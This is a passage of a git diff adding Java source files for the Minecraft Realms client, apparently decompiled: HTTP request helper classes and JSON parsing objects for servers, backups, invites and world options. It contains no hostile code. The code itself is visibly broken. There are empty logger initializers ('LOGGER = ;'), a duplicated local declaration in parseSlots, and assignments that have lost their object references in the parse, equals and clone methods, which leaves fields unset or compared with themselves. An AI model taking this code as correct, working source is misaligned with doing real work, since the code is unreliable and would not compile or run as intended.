+    } catch (Exception e) {}
+    return "";
+  }
+  
+  public static class Delete extends Request<Delete>
+  {
+    public Delete(String uri, int connectTimeout, int readTimeout)
+    {
+      super(connectTimeout, readTimeout);
+    }
+    
+    public Delete doConnect()
+    {
+      try {
+        connection.setDoOutput(true);
+        connection.setRequestMethod("DELETE");
+        connection.connect();
+        return this;
+      } catch (Exception e) {
+        throw new RealmsHttpException(e.getMessage(), e);
+      }
+    }
+  }
+  
+  public static class Get extends Request<Get>
+  {
+    public Get(String uri, int connectTimeout, int readTimeout)
+    {
+      super(connectTimeout, readTimeout);
+    }
+    
+    public Get doConnect()
+    {
+      try {
+        connection.setDoInput(true);
+        connection.setDoOutput(true);
+        connection.setUseCaches(false);
+        connection.setRequestMethod("GET");
+        return this;
+      } catch (Exception e) {
+        throw new RealmsHttpException(e.getMessage(), e);
+      }
+    }
+  }
+  
+  public static class Put extends Request<Put>
+  {
+    private byte[] content;
+    
+    public Put(String uri, byte[] content, int connectTimeout, int readTimeout)
+    {
+      super(connectTimeout, readTimeout);
+      this.content = content;
+    }
+    
+    public Put doConnect()
+    {
+      try {
+        if (content != null) {
+          connection.setRequestProperty("Content-Type", "application/json; charset=utf-8");
+        }
+        
+        connection.setDoOutput(true);
+        connection.setDoInput(true);
+        connection.setRequestMethod("PUT");
+        OutputStream os = connection.getOutputStream();
+        os.write(content);
+        os.flush();
+        return this;
+      } catch (Exception e) {
+        throw new RealmsHttpException(e.getMessage(), e);
+      }
+    }
+  }
+  
+  public static class Post extends Request<Post>
+  {
+    private byte[] content;
+    
+    public Post(String uri, byte[] content, int connectTimeout, int readTimeout)
+    {
+      super(connectTimeout, readTimeout);
+      this.content = content;
+    }
+    
+    public Post doConnect()
+    {
+      try {
+        if (content != null) {
+          connection.setRequestProperty("Content-Type", "application/json; charset=utf-8");
+        }
+        
+        connection.setDoInput(true);
+        connection.setDoOutput(true);
+        connection.setUseCaches(false);
+        connection.setRequestMethod("POST");
+        OutputStream out = connection.getOutputStream();
+        out.write(content);
+        out.flush();
+        return this;
+      } catch (Exception e) {
+        throw new RealmsHttpException(e.getMessage(), e);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/client/UploadStatus.java b/src/minecraft/com/mojang/realmsclient/client/UploadStatus.java
new file mode 100644
index 0000000..3af17b2
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/client/UploadStatus.java
@@ -0,0 +1,9 @@
+package com.mojang.realmsclient.client;
+
+public class UploadStatus
+{
+  public volatile Long bytesWritten = Long.valueOf(0L);
+  public volatile Long totalBytes = Long.valueOf(0L);
+  
+  public UploadStatus() {}
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/Backup.java b/src/minecraft/com/mojang/realmsclient/dto/Backup.java
new file mode 100644
index 0000000..de5fc64
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/Backup.java
@@ -0,0 +1,76 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.mojang.realmsclient.util.JsonUtils;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class Backup
+  extends ValueObject
+{
+  private static final Logger LOGGER = ;
+  
+  public String backupId;
+  
+  public Date lastModifiedDate;
+  public long size;
+  private boolean uploadedVersion = false;
+  
+  public Map<String, String> metadata = new HashMap();
+  
+
+  public Map<String, String> changeList = new HashMap();
+  
+  public Backup() {}
+  
+  public static Backup parse(JsonElement node) { JsonObject object = node.getAsJsonObject();
+    Backup backup = new Backup();
+    try {
+      backupId = JsonUtils.getStringOr("backupId", object, "");
+      lastModifiedDate = JsonUtils.getDateOr("lastModifiedDate", object);
+      size = JsonUtils.getLongOr("size", object, 0L);
+      if (object.has("metadata")) {
+        JsonObject metadataObject = object.getAsJsonObject("metadata");
+        Set<Map.Entry<String, JsonElement>> jsonElementSet = metadataObject.entrySet();
+        for (Map.Entry<String, JsonElement> elem : jsonElementSet) {
+          if (!((JsonElement)elem.getValue()).isJsonNull()) {
+            metadata.put(format((String)elem.getKey()), ((JsonElement)elem.getValue()).getAsString());
+          }
+        }
+      }
+    } catch (Exception e) {
+      LOGGER.error("Could not parse Backup: " + e.getMessage());
+    }
+    return backup;
+  }
+  
+  private static String format(String key) {
+    String[] worlds = key.split("_");
+    StringBuilder sb = new StringBuilder();
+    for (String world : worlds) {
+      if ((world != null) && (world.length() >= 1)) {
+        if (world.equals("of")) {
+          sb.append(world).append(" ");
+        } else {
+          char firstCharacter = Character.toUpperCase(world.charAt(0));
+          sb.append(firstCharacter).append(world.substring(1, world.length())).append(" ");
+        }
+      }
+    }
+    return sb.toString();
+  }
+  
+  public boolean isUploadedVersion() {
+    return uploadedVersion;
+  }
+  
+  public void setUploadedVersion(boolean uploadedVersion) {
+    this.uploadedVersion = uploadedVersion;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/BackupList.java b/src/minecraft/com/mojang/realmsclient/dto/BackupList.java
new file mode 100644
index 0000000..1daa2dd
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/BackupList.java
@@ -0,0 +1,36 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class BackupList
+{
+  private static final Logger LOGGER = ;
+  public List<Backup> backups;
+  
+  public BackupList() {}
+  
+  public static BackupList parse(String json) { JsonParser jsonParser = new JsonParser();
+    
+    BackupList backupList = new BackupList();
+    backups = new ArrayList();
+    try {
+      JsonElement node = jsonParser.parse(json).getAsJsonObject().get("backups");
+      if (node.isJsonArray()) {
+        Iterator<JsonElement> iterator = node.getAsJsonArray().iterator();
+        while (iterator.hasNext()) {
+          backups.add(Backup.parse((JsonElement)iterator.next()));
+        }
+      }
+    } catch (Exception e) {
+      LOGGER.error("Could not parse BackupList: " + e.getMessage());
+    }
+    return backupList;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/Ops.java b/src/minecraft/com/mojang/realmsclient/dto/Ops.java
new file mode 100644
index 0000000..63dad9a
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/Ops.java
@@ -0,0 +1,29 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import java.util.Set;
+
+public class Ops
+{
+  public Ops() {}
+  
+  public Set<String> ops = new java.util.HashSet();
+  
+  public static Ops parse(String json) {
+    Ops ops = new Ops();
+    JsonParser parser = new JsonParser();
+    try {
+      JsonElement jsonElement = parser.parse(json);
+      JsonObject jsonObject = jsonElement.getAsJsonObject();
+      JsonElement opsArray = jsonObject.get("ops");
+      if (opsArray.isJsonArray()) {
+        for (JsonElement jsonElement1 : opsArray.getAsJsonArray()) {
+          ops.add(jsonElement1.getAsString());
+        }
+      }
+    } catch (Exception e) {}
+    return ops;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/PendingInvite.java b/src/minecraft/com/mojang/realmsclient/dto/PendingInvite.java
new file mode 100644
index 0000000..ad63492
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/PendingInvite.java
@@ -0,0 +1,35 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonObject;
+import com.mojang.realmsclient.util.JsonUtils;
+import java.util.Date;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+
+
+public class PendingInvite
+  extends ValueObject
+{
+  private static final Logger LOGGER = ;
+  public String invitationId;
+  public String worldName;
+  public String worldOwnerName;
+  public String worldOwnerUuid;
+  public Date date;
+  
+  public PendingInvite() {}
+  
+  public static PendingInvite parse(JsonObject json) { PendingInvite invite = new PendingInvite();
+    try {
+      invitationId = JsonUtils.getStringOr("invitationId", json, "");
+      worldName = JsonUtils.getStringOr("worldName", json, "");
+      worldOwnerName = JsonUtils.getStringOr("worldOwnerName", json, "");
+      worldOwnerUuid = JsonUtils.getStringOr("worldOwnerUuid", json, "");
+      date = JsonUtils.getDateOr("date", json);
+    } catch (Exception e) {
+      LOGGER.error("Could not parse PendingInvite: " + e.getMessage());
+    }
+    return invite;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/PendingInvitesList.java b/src/minecraft/com/mojang/realmsclient/dto/PendingInvitesList.java
new file mode 100644
index 0000000..11ae831
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/PendingInvitesList.java
@@ -0,0 +1,35 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import java.util.Iterator;
+import java.util.List;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class PendingInvitesList extends ValueObject
+{
+  public PendingInvitesList() {}
+  
+  private static final Logger LOGGER = ;
+  
+  public List<PendingInvite> pendingInvites = com.google.common.collect.Lists.newArrayList();
+  
+  public static PendingInvitesList parse(String json) {
+    PendingInvitesList list = new PendingInvitesList();
+    try {
+      JsonParser jsonParser = new JsonParser();
+      JsonObject jsonObject = jsonParser.parse(json).getAsJsonObject();
+      if (jsonObject.get("invites").isJsonArray()) {
+        Iterator<JsonElement> it = jsonObject.get("invites").getAsJsonArray().iterator();
+        while (it.hasNext()) {
+          pendingInvites.add(PendingInvite.parse(((JsonElement)it.next()).getAsJsonObject()));
+        }
+      }
+    } catch (Exception e) {
+      LOGGER.error("Could not parse PendingInvitesList: " + e.getMessage());
+    }
+    return list;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/PingResult.java b/src/minecraft/com/mojang/realmsclient/dto/PingResult.java
new file mode 100644
index 0000000..c0ee723
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/PingResult.java
@@ -0,0 +1,12 @@
+package com.mojang.realmsclient.dto;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PingResult
+{
+  public List<RegionPingResult> pingResults = new ArrayList();
+  public List<Long> worldIds = new ArrayList();
+  
+  public PingResult() {}
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/PlayerInfo.java b/src/minecraft/com/mojang/realmsclient/dto/PlayerInfo.java
new file mode 100644
index 0000000..8f407a1
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/PlayerInfo.java
@@ -0,0 +1,41 @@
+package com.mojang.realmsclient.dto;
+
+public class PlayerInfo { private String name;
+  private String uuid;
+  
+  public PlayerInfo() {}
+  private boolean operator = false;
+  private boolean accepted = false;
+  
+  public String getName() {
+    return name;
+  }
+  
+  public void setName(String name) {
+    this.name = name;
+  }
+  
+  public String getUuid() {
+    return uuid;
+  }
+  
+  public void setUuid(String uuid) {
+    this.uuid = uuid;
+  }
+  
+  public boolean isOperator() {
+    return operator;
+  }
+  
+  public void setOperator(boolean operator) {
+    this.operator = operator;
+  }
+  
+  public boolean getAccepted() {
+    return accepted;
+  }
+  
+  public void setAccepted(boolean accepted) {
+    this.accepted = accepted;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/RealmsOptions.java b/src/minecraft/com/mojang/realmsclient/dto/RealmsOptions.java
new file mode 100644
index 0000000..eade3dd
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/RealmsOptions.java
@@ -0,0 +1,147 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonObject;
+import com.mojang.realmsclient.util.JsonUtils;
+import net.minecraft.realms.RealmsScreen;
+
+
+public class RealmsOptions
+{
+  public Boolean pvp;
+  public Boolean spawnAnimals;
+  public Boolean spawnMonsters;
+  public Boolean spawnNPCs;
+  public Integer spawnProtection;
+  public Boolean commandBlocks;
+  public Boolean forceGameMode;
+  public Integer difficulty;
+  public Integer gameMode;
+  public String slotName;
+  public long templateId;
+  public String templateImage;
+  public boolean empty = false;
+  
+  private static boolean forceGameModeDefault = false;
+  private static boolean pvpDefault = true;
+  private static boolean spawnAnimalsDefault = true;
+  private static boolean spawnMonstersDefault = true;
+  private static boolean spawnNPCsDefault = true;
+  private static int spawnProtectionDefault = 0;
+  private static boolean commandBlocksDefault = false;
+  private static int difficultyDefault = 2;
+  private static int gameModeDefault = 0;
+  private static String slotNameDefault = null;
+  private static long templateIdDefault = -1L;
+  private static String templateImageDefault = null;
+  
+  public RealmsOptions(Boolean pvp, Boolean spawnAnimals, Boolean spawnMonsters, Boolean spawnNPCs, Integer spawnProtection, Boolean commandBlocks, Integer difficulty, Integer gameMode, Boolean forceGameMode, String slotName) {
+    this.pvp = pvp;
+    this.spawnAnimals = spawnAnimals;
+    this.spawnMonsters = spawnMonsters;
+    this.spawnNPCs = spawnNPCs;
+    this.spawnProtection = spawnProtection;
+    this.commandBlocks = commandBlocks;
+    this.difficulty = difficulty;
+    this.gameMode = gameMode;
+    this.forceGameMode = forceGameMode;
+    this.slotName = slotName;
+  }
+  
+  public static RealmsOptions getDefaults() {
+    return new RealmsOptions(Boolean.valueOf(pvpDefault), Boolean.valueOf(spawnAnimalsDefault), Boolean.valueOf(spawnMonstersDefault), Boolean.valueOf(spawnNPCsDefault), Integer.valueOf(spawnProtectionDefault), Boolean.valueOf(commandBlocksDefault), Integer.valueOf(difficultyDefault), Integer.valueOf(gameModeDefault), Boolean.valueOf(forceGameModeDefault), slotNameDefault);
+  }
+  
+  public static RealmsOptions getEmptyDefaults() {
+    RealmsOptions options = new RealmsOptions(Boolean.valueOf(pvpDefault), Boolean.valueOf(spawnAnimalsDefault), Boolean.valueOf(spawnMonstersDefault), Boolean.valueOf(spawnNPCsDefault), Integer.valueOf(spawnProtectionDefault), Boolean.valueOf(commandBlocksDefault), Integer.valueOf(difficultyDefault), Integer.valueOf(gameModeDefault), Boolean.valueOf(forceGameModeDefault), slotNameDefault);
+    options.setEmpty(true);
+    return options;
+  }
+  
+  public void setEmpty(boolean empty) {
+    this.empty = empty;
+  }
+  
+  public static RealmsOptions parse(JsonObject jsonObject) {
+    RealmsOptions newOptions = new RealmsOptions(Boolean.valueOf(JsonUtils.getBooleanOr("pvp", jsonObject, pvpDefault)), Boolean.valueOf(JsonUtils.getBooleanOr("spawnAnimals", jsonObject, spawnAnimalsDefault)), Boolean.valueOf(JsonUtils.getBooleanOr("spawnMonsters", jsonObject, spawnMonstersDefault)), Boolean.valueOf(JsonUtils.getBooleanOr("spawnNPCs", jsonObject, spawnNPCsDefault)), Integer.valueOf(JsonUtils.getIntOr("spawnProtection", jsonObject, spawnProtectionDefault)), Boolean.valueOf(JsonUtils.getBooleanOr("commandBlocks", jsonObject, commandBlocksDefault)), Integer.valueOf(JsonUtils.getIntOr("difficulty", jsonObject, difficultyDefault)), Integer.valueOf(JsonUtils.getIntOr("gameMode", jsonObject, gameModeDefault)), Boolean.valueOf(JsonUtils.getBooleanOr("forceGameMode", jsonObject, forceGameModeDefault)), JsonUtils.getStringOr("slotName", jsonObject, slotNameDefault));
+    
+
+
+
+
+
+
+
+
+
+    templateId = JsonUtils.getLongOr("worldTemplateId", jsonObject, templateIdDefault);
+    templateImage = JsonUtils.getStringOr("worldTemplateImage", jsonObject, templateImageDefault);
+    return newOptions;
+  }
+  
+  public String getSlotName(int i)
+  {
+    if ((slotName == null) || (slotName.equals(""))) {
+      if (empty) {
+        return RealmsScreen.getLocalizedString("mco.configure.world.slot.empty");
+      }
+      
+      return RealmsScreen.getLocalizedString("mco.configure.world.slot", new Object[] { Integer.valueOf(i) });
+    }
+    return slotName;
+  }
+  
+  public String getDefaultSlotName(int i)
+  {
+    return RealmsScreen.getLocalizedString("mco.configure.world.slot", new Object[] { Integer.valueOf(i) });
+  }
+  
+  public String toJson() {
+    JsonObject jsonObject = new JsonObject();
+    
+    if (pvp.booleanValue() != pvpDefault) {
+      jsonObject.addProperty("pvp", pvp);
+    }
+    
+    if (spawnAnimals.booleanValue() != spawnAnimalsDefault) {
+      jsonObject.addProperty("spawnAnimals", spawnAnimals);
+    }
+    
+    if (spawnMonsters.booleanValue() != spawnMonstersDefault) {
+      jsonObject.addProperty("spawnMonsters", spawnMonsters);
+    }
+    
+    if (spawnNPCs.booleanValue() != spawnNPCsDefault) {
+      jsonObject.addProperty("spawnNPCs", spawnNPCs);
+    }
+    
+    if (spawnProtection.intValue() != spawnProtectionDefault) {
+      jsonObject.addProperty("spawnProtection", spawnProtection);
+    }
+    
+    if (commandBlocks.booleanValue() != commandBlocksDefault) {
+      jsonObject.addProperty("commandBlocks", commandBlocks);
+    }
+    
+    if (difficulty.intValue() != difficultyDefault) {
+      jsonObject.addProperty("difficulty", difficulty);
+    }
+    
+    if (gameMode.intValue() != gameModeDefault) {
+      jsonObject.addProperty("gameMode", gameMode);
+    }
+    
+    if (forceGameMode.booleanValue() != forceGameModeDefault) {
+      jsonObject.addProperty("forceGameMode", forceGameMode);
+    }
+    
+    if ((!slotName.equals(slotNameDefault)) && (!slotName.equals(""))) {
+      jsonObject.addProperty("slotName", slotName);
+    }
+    
+    return jsonObject.toString();
+  }
+  
+  public RealmsOptions clone() {
+    return new RealmsOptions(pvp, spawnAnimals, spawnMonsters, spawnNPCs, spawnProtection, commandBlocks, difficulty, gameMode, forceGameMode, slotName);
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/RealmsServer.java b/src/minecraft/com/mojang/realmsclient/dto/RealmsServer.java
new file mode 100644
index 0000000..6f55607
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/RealmsServer.java
@@ -0,0 +1,336 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.common.collect.ComparisonChain;
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import com.mojang.realmsclient.util.JsonUtils;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+import net.minecraft.realms.RealmsServerPing;
+import org.apache.commons.lang3.builder.EqualsBuilder;
+import org.apache.commons.lang3.builder.HashCodeBuilder;
+import org.apache.logging.log4j.Logger;
+
+public class RealmsServer extends ValueObject
+{
+  private static final Logger LOGGER = ;
+  
+  public long id;
+  
+  public String remoteSubscriptionId;
+  
+  public String name;
+  
+  public String motd;
+  
+  public State state;
+  
+  public String owner;
+  
+  public String ownerUUID;
+  
+  public java.util.List<PlayerInfo> players;
+  public Map<Integer, RealmsOptions> slots;
+  public String ip;
+  public boolean expired;
+  
+  public RealmsServer()
+  {
+    status = "";
+    
+
+
+
+
+
+
+    serverPing = new RealmsServerPing();
+  }
+  
+  public String getDescription() { return motd; }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public String getMinigameName() {
+    return minigameName;
+  }
+  
+  public void setName(String name) {
+    this.name = name;
+  }
+  
+  public void setDescription(String motd) {
+    this.motd = motd;
+  }
+  
+  public void latestStatFrom(RealmsServer oldServer) {
+    status = status;
+    protocol = protocol;
+    serverPing.nrOfPlayers = serverPing.nrOfPlayers;
+    serverPing.lastPingSnapshot = serverPing.lastPingSnapshot;
+    serverPing.playerList = serverPing.playerList;
+  }
+  
+  public static RealmsServer parse(JsonObject node) {
+    RealmsServer server = new RealmsServer();
+    try {
+      id = JsonUtils.getLongOr("id", node, -1L);
+      remoteSubscriptionId = JsonUtils.getStringOr("remoteSubscriptionId", node, null);
+      name = JsonUtils.getStringOr("name", node, null);
+      motd = JsonUtils.getStringOr("motd", node, null);
+      state = getState(JsonUtils.getStringOr("state", node, State.CLOSED.name()));
+      owner = JsonUtils.getStringOr("owner", node, null);
+      if ((node.get("players") != null) && (node.get("players").isJsonArray())) {
+        players = parseInvited(node.get("players").getAsJsonArray());
+        sortInvited(server);
+      } else {
+        players = new ArrayList();
+      }
+      daysLeft = JsonUtils.getIntOr("daysLeft", node, 0);
+      ip = JsonUtils.getStringOr("ip", node, null);
+      expired = JsonUtils.getBooleanOr("expired", node, false);
+      worldType = getWorldType(JsonUtils.getStringOr("worldType", node, WorldType.NORMAL.name()));
+      ownerUUID = JsonUtils.getStringOr("ownerUUID", node, "");
+      
+      if ((node.get("slots") != null) && (node.get("slots").isJsonArray())) {
+        slots = parseSlots(node.get("slots").getAsJsonArray());
+      } else {
+        slots = getEmptySlots();
+      }
+      
+      minigameName = JsonUtils.getStringOr("minigameName", node, null);
+      activeSlot = JsonUtils.getIntOr("activeSlot", node, -1);
+      minigameId = JsonUtils.getIntOr("minigameId", node, -1);
+      minigameImage = JsonUtils.getStringOr("minigameImage", node, null);
+      resourcePackUrl = JsonUtils.getStringOr("resourcePackUrl", node, null);
+      resourcePackHash = JsonUtils.getStringOr("resourcePackHash", node, null);
+    } catch (Exception e) {
+      LOGGER.error("Could not parse McoServer: " + e.getMessage());
+    }
+    return server;
+  }
+  
+  private static void sortInvited(RealmsServer server) {
+    java.util.Collections.sort(players, new java.util.Comparator()
+    {
+      public int compare(PlayerInfo o1, PlayerInfo o2) {
+        return ComparisonChain.start().compare(Boolean.valueOf(o2.getAccepted()), Boolean.valueOf(o1.getAccepted())).compare(o1.getName().toLowerCase(), o2.getName().toLowerCase()).result();
+      }
+    });
+  }
+  
+  private static java.util.List<PlayerInfo> parseInvited(JsonArray jsonArray) {
+    ArrayList<PlayerInfo> invited = new ArrayList();
+    for (JsonElement aJsonArray : jsonArray) {
+      try {
+        JsonObject node = aJsonArray.getAsJsonObject();
+        PlayerInfo playerInfo = new PlayerInfo();
+        playerInfo.setName(JsonUtils.getStringOr("name", node, null));
+        playerInfo.setUuid(JsonUtils.getStringOr("uuid", node, null));
+        playerInfo.setOperator(JsonUtils.getBooleanOr("operator", node, false));
+        playerInfo.setAccepted(JsonUtils.getBooleanOr("accepted", node, false));
+        invited.add(playerInfo);
+      }
+      catch (Exception e) {}
+    }
+    return invited;
+  }
+  
+  private static Map<Integer, RealmsOptions> parseSlots(JsonArray jsonArray) {
+    Map<Integer, RealmsOptions> slots = new HashMap();
+    for (JsonElement aJsonArray : jsonArray) {
+      try
+      {
+        JsonObject node = aJsonArray.getAsJsonObject();
+        
+        JsonParser parser = new JsonParser();
+        JsonElement element = parser.parse(node.get("options").getAsString());
+        RealmsOptions options;
+        RealmsOptions options; if (element == null) {
+          options = RealmsOptions.getDefaults();
+        } else {
+          options = RealmsOptions.parse(element.getAsJsonObject());
+        }
+        
+        int slot = JsonUtils.getIntOr("slotId", node, -1);
+        
+        slots.put(Integer.valueOf(slot), options);
+      }
+      catch (Exception e) {}
+    }
+    
+    for (int i = 1; i <= 3; i++) {
+      if (!slots.containsKey(Integer.valueOf(i))) {
+        slots.put(Integer.valueOf(i), RealmsOptions.getEmptyDefaults());
+      }
+    }
+    
+    return slots;
+  }
+  
+  private static Map<Integer, RealmsOptions> getEmptySlots() {
+    HashMap slots = new HashMap();
+    slots.put(Integer.valueOf(1), RealmsOptions.getEmptyDefaults());
+    slots.put(Integer.valueOf(2), RealmsOptions.getEmptyDefaults());
+    slots.put(Integer.valueOf(3), RealmsOptions.getEmptyDefaults());
+    
+    return slots;
+  }
+  
+  public static RealmsServer parse(String json)
+  {
+    RealmsServer server = new RealmsServer();
+    try {
+      JsonParser parser = new JsonParser();
+      JsonObject object = parser.parse(json).getAsJsonObject();
+      server = parse(object);
+    } catch (Exception e) {
+      LOGGER.error("Could not parse McoServer: " + e.getMessage());
+    }
+    return server;
+  }
+  
+  private static State getState(String state) {
+    try {
+      return State.valueOf(state);
+    } catch (Exception e) {}
+    return State.CLOSED;
+  }
+  
+  private static WorldType getWorldType(String state)
+  {
+    try {
+      return WorldType.valueOf(state);
+    } catch (Exception e) {}
+    return WorldType.NORMAL;
+  }
+  
+
+
+
+
+  public boolean shouldPing(long now)
+  {
+    return now - serverPing.lastPingSnapshot >= 6000L;
+  }
+  
+  public int hashCode()
+  {
+    return new HashCodeBuilder(17, 37).append(id).append(name).append(motd).append(state).append(owner).append(expired).toHashCode();
+  }
+  
+
+  public boolean equals(Object obj)
+  {
+    if (obj == null) {
+      return false;
+    }
+    if (obj == this) {
+      return true;
+    }
+    if (obj.getClass() != getClass()) {
+      return false;
+    }
+    RealmsServer rhs = (RealmsServer)obj;
+    
+    return new EqualsBuilder().append(id, id).append(name, name).append(motd, motd).append(state, state).append(owner, owner).append(expired, expired).append(worldType, worldType).isEquals();
+  }
+  
+
+
+
+
+
+
+  public RealmsServer clone()
+  {
+    RealmsServer server = new RealmsServer();
+    id = id;
+    remoteSubscriptionId = remoteSubscriptionId;
+    name = name;
+    motd = motd;
+    state = state;
+    owner = owner;
+    players = players;
+    slots = cloneSlots(slots);
+    ip = ip;
+    expired = expired;
+    daysLeft = daysLeft;
+    protocol = protocol;
+    status = status;
+    serverPing = new RealmsServerPing();
+    serverPing.nrOfPlayers = serverPing.nrOfPlayers;
+    serverPing.lastPingSnapshot = serverPing.lastPingSnapshot;
+    serverPing.playerList = serverPing.playerList;
+    worldType = worldType;
+    ownerUUID = ownerUUID;
+    minigameName = minigameName;
+    activeSlot = activeSlot;
+    minigameId = minigameId;
+    minigameImage = minigameImage;
+    resourcePackUrl = resourcePackUrl;
+    resourcePackHash = resourcePackHash;
+    return server;
+  }
+  
+  public Map<Integer, RealmsOptions> cloneSlots(Map<Integer, RealmsOptions> slots) {
+    Map<Integer, RealmsOptions> newSlots = new HashMap();
+    
+    for (Map.Entry<Integer, RealmsOptions> entry : slots.entrySet()) {
+      newSlots.put(entry.getKey(), ((RealmsOptions)entry.getValue()).clone());
+    }
+    
+    return newSlots;
+  }
+  
+
+  public static class McoServerComparator
+    implements java.util.Comparator<RealmsServer>
+  {
+    private final String refOwner;
+    
+    public McoServerComparator(String owner)
+    {
+      refOwner = owner;
+    }
+    
+
+
+    public int compare(RealmsServer server1, RealmsServer server2) { return ComparisonChain.start().compareTrueFirst(state.equals(RealmsServer.State.UNINITIALIZED), state.equals(RealmsServer.State.UNINITIALIZED)).compareFalseFirst(expired, expired).compareTrueFirst(owner.equals(refOwner), owner.equals(refOwner)).compareTrueFirst(state.equals(RealmsServer.State.OPEN), state.equals(RealmsServer.State.OPEN)).compare(id, id).result(); }
+  }
+  
+  public int daysLeft;
+  public WorldType worldType;
+  public int activeSlot;
+  public String minigameName;
+  public int minigameId;
+  public int protocol;
+  public String status;
+  public String minigameImage;
+  public String resourcePackUrl;
+  public String resourcePackHash;
+  public RealmsServerPing serverPing;
+  public static enum State { CLOSED, 
+    OPEN, 
+    ADMIN_LOCK, 
+    UNINITIALIZED;
+    
+    private State() {}
+  }
+  
+  public static enum WorldType
+  {
+    NORMAL, 
+    MINIGAME, 
+    ADVENTUREMAP;
+    
+    private WorldType() {}
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/RealmsServerAddress.java b/src/minecraft/com/mojang/realmsclient/dto/RealmsServerAddress.java
new file mode 100644
index 0000000..ffb3978
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/RealmsServerAddress.java
@@ -0,0 +1,27 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import com.mojang.realmsclient.util.JsonUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class RealmsServerAddress extends ValueObject
+{
+  private static final Logger LOGGER = ;
+  public String address;
+  
+  public RealmsServerAddress() {}
+  
+  public static RealmsServerAddress parse(String json) { JsonParser parser = new JsonParser();
+    RealmsServerAddress serverAddress = new RealmsServerAddress();
+    try {
+      JsonObject object = parser.parse(json).getAsJsonObject();
+      address = JsonUtils.getStringOr("address", object, null);
+    } catch (Exception e) {
+      LOGGER.error("Could not parse McoServerAddress: " + e.getMessage());
+    }
+    return serverAddress;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/RealmsServerList.java b/src/minecraft/com/mojang/realmsclient/dto/RealmsServerList.java
new file mode 100644
index 0000000..6060896
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/RealmsServerList.java
@@ -0,0 +1,38 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class RealmsServerList
+  extends ValueObject
+{
+  private static final Logger LOGGER = ;
+  public List<RealmsServer> servers;
+  
+  public RealmsServerList() {}
+  
+  public static RealmsServerList parse(String json) { RealmsServerList list = new RealmsServerList();
+    servers = new ArrayList();
+    try {
+      JsonParser parser = new JsonParser();
+      JsonObject object = parser.parse(json).getAsJsonObject();
+      if (object.get("servers").isJsonArray()) {
+        JsonArray jsonArray = object.get("servers").getAsJsonArray();
+        Iterator<JsonElement> it = jsonArray.iterator();
+        while (it.hasNext()) {
+          servers.add(RealmsServer.parse(((JsonElement)it.next()).getAsJsonObject()));
+        }
+      }
+    } catch (Exception e) {
+      LOGGER.error("Could not parse McoServerList: " + e.getMessage());
+    }
+    return list;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/RealmsState.java b/src/minecraft/com/mojang/realmsclient/dto/RealmsState.java
new file mode 100644
index 0000000..65541b5
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/RealmsState.java
@@ -0,0 +1,37 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
